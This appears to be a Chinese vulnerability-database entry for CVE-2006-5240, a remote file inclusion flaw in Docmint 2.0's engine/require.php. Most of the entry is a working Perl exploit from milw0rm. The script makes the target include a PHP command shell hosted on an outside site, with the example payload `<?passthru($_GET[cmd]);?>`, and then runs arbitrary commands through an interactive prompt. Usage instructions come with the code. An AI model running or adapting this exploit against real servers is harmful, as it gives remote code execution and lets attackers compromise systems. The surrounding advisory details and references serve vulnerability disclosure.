Docmint 'engine/require.php'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111224 漏洞类型 输入验证
发布时间 2006-10-09 更新时间 2006-10-16
CVE编号 CVE-2006-5240 CNNVD-ID CNNVD-200610-181
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2493
https://cxsecurity.com/issue/WLB-2006100076
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-181
|漏洞详情
Docmint2.0以及之前版本的engine/require.php中存在PHP远程文件包含漏洞,在启用register_globals的情况下,远程攻击者可以通过MY_ENV[BASE_ENGINE_LOC]参数中的URL来执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
##
# docmint <= 2.0 (MY_ENV[BASE_ENGINE_LOC]) Remote File Inclusion Exploit
# Bug Found & code By K-159 
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl docmint.pl <target> <cmd shell location> <cmd shell variable>
#
# perl docmint.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'engine/require.php?MY_ENV[BASE_ENGINE_LOC]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[Ã.ª]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[Ã.ª]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *docmint <= 2.0 (MY_ENV[BASE_ENGINE_LOC]) Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl docmint.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to docmint ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-10-09]
|参考资料

来源:XF
名称:docmint-engine-file-include(29390)
链接:http://xforce.iss.net/xforce/xfdb/29390
来源:BID
名称:20409
链接:http://www.securityfocus.com/bid/20409
来源:BUGTRAQ
名称:20061009[ECHO_ADV_51$2006]docmint<=2.0(MY_ENV[BASE_ENGINE_LOC])RemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/448013/100/0/threaded
来源:MILW0RM
名称:2493
链接:http://www.milw0rm.com/exploits/2493
来源:VUPEN
名称:ADV-2006-3968
链接:http://www.frsirt.com/english/advisories/2006/3968
来源:SECUNIA
名称:22343
链接:http://secunia.com/advisories/22343
来源:SECTRACK
名称:1017026
链接:http://securitytracker.com/id?1017026
来源:SREASON
名称:1709
链接:http://securityreason.com/securityalert/1709
来源:MILW0RM
名称:2493
链接:http://milw0rm.com/exploits/2493
来源:MISC
链接:http://advisories.echo.or.id/adv/adv51-K-159-2006.txt